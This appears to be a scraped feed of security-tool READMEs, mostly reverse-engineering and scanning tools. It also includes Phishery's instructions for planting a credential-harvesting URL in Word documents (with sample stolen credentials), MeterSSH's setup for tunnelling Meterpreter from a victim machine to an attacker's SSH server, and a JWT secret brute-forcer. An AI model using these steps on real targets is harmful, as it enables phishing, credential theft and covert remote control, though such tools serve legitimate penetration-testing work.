python setup.py install
Then, clone this repo, compile the rules, and install the package in editable mode:
git clone https://github.com/rednaga/APKiD
cd APKiD
./prep-release.py
pip install -e .[dev]
If the above doesn't work, due to permission errors dependent on your local machine and where Python has been installed, try specifying the --user flag. This is likely needed if you are working on OSX:
pip install -e .[dev] --user


jadx - Dex to Java Decompiler

$
0
0

jadx - Dex to Java decompiler

Command line and GUI tools for produce Java source code from Android Dex and Apk files.

Building from source
git clone https://github.com/skylot/jadx.git
cd jadx
./gradlew dist
(on Windows, use gradlew.bat instead of ./gradlew)
Scripts for run jadx will be placed in build/jadx/bin and also packed to build/jadx-<version>.zip

Run
Run jadx on itself:
cd build/jadx/
bin/jadx -d out lib/jadx-core-*.jar
#or
bin/jadx-gui lib/jadx-core-*.jar

Usage
jadx[-gui] [options] <input file> (.dex, .apk, .jar or .class)
options:
-d, --output-dir - output directory
-j, --threads-count - processing threads count
-r, --no-res - do not decode resources
-s, --no-src - do not decompile source code
-e, --export-gradle - save as android gradle project
--show-bad-code - show inconsistent code (incorrectly decompiled)
--no-replace-consts - don't replace constant value with matching constant field
--escape-unicode - escape non latin characters in strings (with \u)
--deobf - activate deobfuscation
--deobf-min - min length of name
--deobf-max - max length of name
--deobf-rewrite-cfg - force to save deobfuscation map
--deobf-use-sourcename - use source file name as class name alias
--cfg - save methods control flow graph to dot file
--raw-cfg - save methods control flow graph (use raw instructions)
-f, --fallback - make simple dump (using goto instead of 'if', 'for', etc)
-v, --verbose - verbose output
-h, --help - print this help
Example:
jadx -d out classes.dex

Troubleshooting

Out of memory error:
  • Reduce processing threads count (-j option)
  • Increase maximum java heap size:
    • command line (example for linux): JAVA_OPTS="-Xmx4G" jadx -j 1 some.apk
    • edit 'jadx' script (jadx.bat on Windows) and setup bigger heap size: DEFAULT_JVM_OPTS="-Xmx2500M"

Contribution
To support this project you can:
  • Post thoughts about new features/optimizations that important to you
  • Submit bug using one of following patterns:
    • Java code examples which decompiles incorrectly
    • Error log and link to public available apk file or app page on Google play

PyREBox - Python scriptable Reverse Engineering Sandbox

$
0
0

PyREBox is a Python scriptable Reverse Engineering sandbox. It is based on QEMU, and its goal is to aid reverse engineering by providing dynamic analysis and debugging capabilities from a different perspective. PyREBox allows to inspect a running QEMU VM, modify its memory or registers, and to instrument its execution, by creating simple scripts in python to automate any kind of analysis. QEMU (when working as a whole-system-emulator) emulates a complete system (CPU, memory, devices...). By using VMI techniques, it does not require to perform any modification into the guest operating system, as it transparently retrieves information from its memory at run-time.

Several academic projects such as DECAF, PANDA, S2E, or AVATAR, have previously leveraged QEMU based instrumentation to overcome reverse engineering tasks. These projects allow to write plugins in C/C++, and implement several advanced features such as dynamic taint analysis, symbolic execution, or even record and replay of execution traces. With PyREBox, we aim to apply this technology focusing on keeping the design simple, and on the usability of the system for threat analysts.


Documentation
The documentation of this project is hosted at readthedocs.io.


Goals
  • Provide a whole system emulation platform with a simple interface for inspecting the emulated guest system.
    • Fine grained instrumentation of system events.
    • Integrated Virtual Machine Introspection (VMI), based on volatility. No agent or driver needs to be installed into the guest.
    • An IPython based shell interface.
    • A Python based scripting engine, that allows to integrate into the scripts any of the security tools based on this language (one of the biggest ecosystems).
  • Have a clean design, de-coupled from QEMU. Many projects that are built over QEMU do not evolve when QEMU gets upgraded, missing new features and optimizations, as well as security updates. In order to achieve this, PyREBox is implemented as an independent module that can be compiled together with QEMU requiring a minimal set of modifications.
  • Support for different architectures. Currently, PyREBox only supports Windows for x86 and x86-64 bit architectures, but its design allows to support other architectures such as ARM, MIPS, or PowerPC, and other operating systems as well.


IPython shell
Starting a PyREBox shell is as easy as typing the sh command on QEMU’s monitor. It will immediately start an IPython shell. This shell records the command history as well as the defined variables. For instance, you can save a value and recover it later at a different point of the execution, when you start the shell again. PyREBox takes advantage of all the available features in IPython such as auto-completion, command history, multi-line editing, and automated command help generation.
PyREBox will allow you to debug the system (or a process) in a fairly stealthy way. Unlike traditional debuggers which stay in the system being debugged (even modifying the memory of the debugged process to insert breakpoints), PyREBox stays completely outside the inspected system, and it does not require the installation of any driver or component into the guest.


PyREBox offers a complete set of commands to inspect and modify the state of the running VM. Just type list_commands to obtain a complete list. You can run any volatility plugin just by typing vol and the corresponding volatility command. For a complete list of available volatility plugins, you can type list_vol_commands. This list is generated automatically, so it will also show any volatility plugin you install on PyREBox's volatility/ path.
You can also define your own commands! It is as simple as declaring a function in a script, and loading it.
If you need something more expressive than a command, you can write a Python snippet leveraging the API. For a detailed description of the API, see Documentation or type help(api) in the shell.



Scripting
PyREBox allows to dynamically load scripts that can register callback functions that are called when certain events occur, like instructions executed, memory read/written, processes created/destroyed, and so on.
Given that PyREBox is integrated with Volatility, it will let you take advantage of all the volatility plugins for memory forensics in your python scripts. Many of the most famous reverse engineering tools are implemented in Python or at least have Python bindings. Our approach allows to integrate any of these tools into a script.
Finally, given that python callbacks can introduce a performance penalty on frequent events such as instructions executed, it is also possible to create triggers. Triggers are native-code plug-in’s (developed in C/C++) that can be inserted dynamically at run-time on any event just before the Python callback is executed. This allows to limit the number of events that hit the python code, as well as to precompute values in native code.
In this repository you will find example scripts that can help you to write your owncode .


Install
A build script is provided. For specific details about dependencies, please see BUILD. We also provide a Dockerfile.


Starting a VM
PyREBox is based on QEMU, so in order to start a VM withing PyREBox, you need to run it exactly as you were booting up a QEMU VM. A couple of example scripts are provided: start_i386.sh, start_x86_64.sh, you can use them as an example.
The only QEMU monitor option supported currently is stdio (-monitor stdio).


Roadmap
  • VM image configuration and management console.
  • Support for ARM, MIPS, and other architectures.
  • Support for GNU/Linux guest systems.


Acknowledgement
First of all, PyREBox would not be possible without QEMU and Volatility. We thank to their developers and maintainers for such a great work.
PyREBox is inspired by several academic projects, such as DECAF, or PANDA. In fact, many of the callbacks supported by PyREBox are equivalent to those found in DECAF, and the concepts behind the instrumentation are based on these works.
PyREBox benefits from third-party code, which can be found under the directory pyrebox/third_party. For each third-party project, we include an indication of its original license, the original source code files taken from the project, as well as the modified versions of the source code files (if applicable), used by PyREBox.


Bugs and support
If you think you've found a bug, please report it here.
This program is provided "AS IS", and no support is guaranteed. That said, in order to help us solve your issues, please include as much information as possible in order to reproduce the bug:
  • Operating system used to compile and run PyREBox.
  • The specific operating system version and emulation target you are using.
  • Shell command / script / task you were trying to run.
  • Any information about the error such as error messages, Python (or IPython) stack trace, or QEMU stack trace.
  • Any other relevant information

Spaghetti - Web Application Security Scanner

$
0
0

Spaghetti is a web application security scanner tool. It is designed to find various default and insecure files, configurations and misconfigurations. Spaghetti is built on python2.7 and can run on any platform which has a Python environment.

Installation
$ git clone https://github.com/m4ll0k/Spaghetti.git
$ cd Spaghetti
$ pip install -r doc/requirements.txt
$ python spaghetti.py -h

Features
  • Fingerprints
    • Server
    • Frameworks (CakePHP,CherryPy,Django,...)
    • Firewall (Cloudflare,AWS,Barracuda,...)
    • CMS (Drupal,Joomla,Wordpress)
    • OS (Linux,Unix,Windows,...)
    • Language (PHP,Ruby,Python,ASP,...)
  • Discovery:
    • Admin Panel
    • Apache Enumeration Users
    • Apache XSS
    • Apache ModStatus
    • Backdoors
    • Backup
    • Captcha
    • Common Directories
    • Common Files
    • Cookie Security
    • Multiple Index
    • Information Disclosure (Emails and Private IP)

Screenshots






Phishery - An SSL Enabled Basic Auth Credential Harvester with a Word Document Template URL Injector

$
0
0

Phishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication. Phishery also provides the ability easily to inject the URL into a .docx Word document.

The power of phishery is best demonstrated by setting a Word document's template to a phishery URL. This causes Microsoft Word to make a request to the URL, resulting in an Authentication Dialog being shown to the end-user. The ability to inject any .docx file with a URL is possible using phishery's -i [in docx], -o [out docx], and -u [url] options.

Download
Operating system specific packages can be downloaded from here.

Install
Extract the archive, and optionally, install binary to $PATH
$ tar -xzvf phishery*.tar.gz
$ cd phishery*
$ cp phishery /usr/local/bin

Usage
$ phishery --help

|\ \\\\__ O __ _ __
| \_/ o \ o ____ / /_ (_)____/ /_ ___ _______ __
> _ (( <_ oO / __ \/ __ \/ / ___/ __ \/ _ \/ ___/ / / /
| / \__+___/ / /_/ / / / / (__ ) / / / __/ / / /_/ /
|/ |/ / .___/_/ /_/_/____/_/ /_/\___/_/ \__, /
/_/ Basic Auth Credential Harvester (____/
with Word Doc Template Injector

Start the server : phishery -s settings.json -c credentials.json
Inject a template : phishery -u https://secure.site.local/docs -i good.docx -o bad.docx

Options:
-h, --help Show usage and exit.
-v Show version and exit.
-s The JSON settings file used to setup the server. [default: "settings.json"]
-c The JSON file to store harvested credentials. [default: "credentials.json"]
-u The phishery URL to use as the Word document template.
-i The Word .docx file to inject with a template URL.
-o The new Word .docx file with the injected template URL.

Running the server

Modify the provided settings.json file as needed, by default it should look like this:
{
"ip": "0.0.0.0",
"port": "443",
"sslCert": "server.crt",
"sslKey": "server.key",
"basicRealm": "Secure Document Gateway",
"responseStatus": 200,
"responseFile": "template.dotx",
"responseHeaders": [
["Content-Type", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"]
]
}
This setup will start the HTTP server on Port 443 with SSL configured to use server.crt and server.key. The basic authentication realm is set to Secure Document Gateway. When any credentials are provided, a 200 response status is sent along with the contents of the included template.dotx and the content type header: Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.template.
The settings file may also be configured to output a simple body, by using responseBody, like this:
{
"ip": "0.0.0.0",
"port": "443",
"sslCert": "server.crt",
"sslKey": "server.key",
"basicRealm": "Secure Document Gateway",
"responseStatus": 404,
"responseBody": "<h1>Not Found</h1>",
"responseHeaders": [
["Content-Type", "text/html"]
]
}
The effectiveness of this tool is based mostly on the Domain and Basic Auth Realm used, as that is often all the end user will see when triggered from an Office document. Make sure to point your DNS A Records the public IP of the phishery server.
It's recommended that the provided cert is replaced with a trusted one, such as one generated with LetsEncrypt. Microsoft Word on OS X will prevent the auth dialog if the cert is invalid, and Microsoft Word on Windows will prompt the user to accept the invalid certificate.
Once the server is configured and running, all you need to do is embed a phishery URL in a document, or anywhere else your heart desires. phishery does give you the ability to inject your URL into a Word document as a template, instructions on how to do this can be found below.

Injecting a Word Document

To inject a Word document with a template URL, you'll need a .docx file and the phishery server URL.
Now run phishery with your document and URL:
$ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
[+] Opening Word document: good.docx
[+] Setting Word document template to: https://secure.site.local/docs
[+] Saving injected Word document to: bad.docx
[*] Injected Word document has been saved!
Make sure your phishery server is running and available at the URL you used. Now when the Word document is opened, the victim will be prompted with an authentication dialog.
Now when the victim opens the document, you'll see the following:

$ ./phishery
[+] Credential store initialized at: credentials.json
[+] Starting HTTPS Auth Server on: 0.0.0.0:443
[*] Request Received at 2016-09-25 01:06:28: HEAD https://secure.site.local/docs
[*] Sending Basic Auth response to: 127.0.0.1
[*] New credentials harvested!
[HTTP] Host : secure.example.local
[HTTP] Request : /docs
[HTTP] User Agent : Microsoft Office Word
[HTTP] IP Address : 127.0.0.1
[AUTH] Username : john.doe
[AUTH] Password : Summer15

RED HAWK v2.0.0 - All in one tool for Information Gathering, Vulnerability Scanning and Crawling. A must have tool for all penetration testers

$
0
0

RED HAWK is An All In One Tool For Information Gathering, SQL Vulnerability Scannig and Crawling. Coded In PHP.

Features:
  • Basic Scan
    • Site Title NEW
    • IP Address
    • Web Server Detection IMPROVED
    • CMS Detection
    • Cloudflare Detection
    • robots.txt Scanner
  • Whois Lookup IMPROVED
  • Geo-IP Lookup
  • Grab Banners IMPROVED
  • DNS Lookup
  • Subnet Calculator
  • Nmap Port Scan
  • Sub-Domain Scanner IMPROVED
    • Sub Domain
    • IP Address
  • Reverse IP Lookup & CMS Detection IMPROVED
    • Hostname
    • IP Address
    • CMS
  • Error Based SQLi Scanner
  • Bloggers View NEW
    • HTTP Response Code
    • Site Title
    • Alexa Ranking
    • Domain Authority
    • Page Authority
    • Social Links Extractor
    • Link Grabber
  • WordPress Scan NEW
    • Sensitive Files Crawling
    • Version Detection
    • Version Vulnerability Scanner
  • Crawler
  • MX Lookup NEW
  • Scan For Everything - The Old Lame Scanner

Released Versions:
- Version 1.0.0 [11-06-2017]
- Version 1.1.0 [15-06-2017]
- Version 2.0.0 [11-08-2017]

Changelog:
  • Version 1.0.0
    • Initial Launch
  • Version 1.1.0
    • Updated The fix command
  • Version 2.0.0
    • Separated all scans so that you are served the amount of information you need
    • Sub-Domain Scanner improved
    • fix command improved
    • Web Server Detection Improved
    • CMS Detection Improved
    • Banner Grabbing Improved
    • Added WordPress Scanner
    • Added Bloggers View
    • Added MX Lookup
    • Added Update option
    • RED HAWK Banner Updated
    • Many Other Internal Fixes

Installation:
  1. Run The Tool and Type fix This will Install All Required Modules.
  2. For The Bloggers View To Work Properly you have to configure RED HAWK with moz.com's api keys for that follow the following steps:
How To Configure RED HAWK with moz.com for Bloggers View Scan
  • Create an account in moz follow this link : https://moz.com/community/join
  • After successful account creation and completing the verification you need to generate the API Keys
  • You can get your API Keys here: https://moz.com/products/mozscape/access
  • Get your AccessID and SecretKey and replace the $accessID and $secretKey variable's value in the config.php file
  • All set, now you can enjoy the bloggers view.

Usage:
  • git clone https://github.com/Tuhinshubhra/RED_HAWK
  • cd RED_HAWK
  • php rhawk.php
  • Use the "help" command to see the command list or type in the domain name you want to scan (without Http:// OR Https://).
  • Select whether The Site Runs On HTTPS or not.
  • Select the type of scan you want to perform
  • Leave the rest to the scanner

List of CMS Supported
RED HAWK's CMS Detector currently is able to detect the following CMSs (Content Management Systems) in case the website is using some other CMS, Detector will return could not detect.
  • WordPress
  • Joomla
  • Drupal
  • Magento

Video Demonstration


TODOs
  • Make a proper update option ( Installs current version automatically )
  • Add more CMS to the detector
  • Improve The WordPress Scanner ( Add User, Theme & Plugins Enumeration )
  • Create a web version of the scanner
  • Add XSS & LFI Scanner
  • Improve the Links grabber thingy under bloggers view
  • Add some other scans under the Bloggers View


JWT cracker - JWT Brute Force Cracker Written in C

$
0
0

A multi-threaded JWT brute-force cracker written in C. If you are very lucky or have a huge computing power, this program should find the secret key of a JWT token, allowing you to forge valid tokens. This is for testing purposes only, do not put yourself in trouble.

The tool is based in the Apple Base64 implementation.

Compile
Make sure you have openssl's headers installed. On Ubuntu you can install them with apt-get install libssl-dev
make
If you use a Mac, you can install OpenSSL with brew install openssl, but the headers will be stored in a different location:
make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib

Run
$ > ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
In the above example, the key is Sn1f. It takes approximately 2 seconds to crack on my Macbook.

Caveats
  • No progress status
  • If you stop the program, you cannot start back where you were

MeterSSH v2.0 - Take Shellcode and Inject It Into Memory Over SSH

$
0
0

MeterSSH is a way to take shellcode, inject it into memory then tunnel whatever port you want to over SSH to mask any type of communications as a normal SSH connection. The way it works is by injecting shellcode into memory, then wrapping a port spawned (meterpeter in this case) by the shellcode over SSH back to the attackers machine. Then connecting with meterpreter's listener to localhost will communicate through the SSH proxy, to the victim through the SSH tunnel. All communications are relayed through the SSH tunnel and not through the network.

Features
  1. Meterpreter over SSH
  2. Ability to configure different IP's, addresses, etc. without the need to ever change the shellcode.
  3. Monitor for the SSH connection and automatically spawn the shell

Usage
There are two files, monitor.py and meterssh.py.
monitor.py - run this in order to listen for an SSH connection, it will poll for 8021 on localhost for an SSH tunnel then spawn Metasploit for you automatically to grab the shell. meterssh.py - this is what you would deploy to the victim machine - note that most windows machines wont have Python installed, its recommended to compile Python with py2exe or pyinstaller.
Fields you need to edit inside meterssh.py
user = "sshuser"
# password for SSH
password = "sshpw"
# this is where your SSH server is running
rhost = "192.168.1.1"
# remote SSH port - this is the attackers SSH server
port = "22"
user - this is the user account for the attackers SSH server (do not use root, does not need root) password - this is the password for the attackers SSH server rhost - this is the attackers SSH server IP address port - this is the attackers SSH server port
Note that you DO NOT need to change the Metasploit shellcode, the Metasploit shellcode is simply an unmodified windows/meterpreter/bind_tcp that binds to port 8021. If you want to change this, just switch the shellcode out and change port 8021 inside the script to bind to whatever port you want to. You do not need to do this however unless you want to customize/modify.

Supported platforms
  • Windows

PyStat - Advanced Netstat Using Python For Windows

$
0
0

PyStat is an Advanced Netstat Using Python For Windows.

Features
  • Know remote address of process
  • Know remote ports of process
  • Know which user using process along with title & PID

Changelogs:
  • Auto Install python modules support added in install.py

Installation Guide:
Download the .zip file
Extract the pystat folder from .zip file to some drive i.e C:\tools\pystat
Goto C:\tools\pystat Press SHIFT KEY + RIGHT CLICK and select open Command Window here
Enter this command python install.py, Enjoy
  • Warning! Don't move pystat folder after installation, will stop working

Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>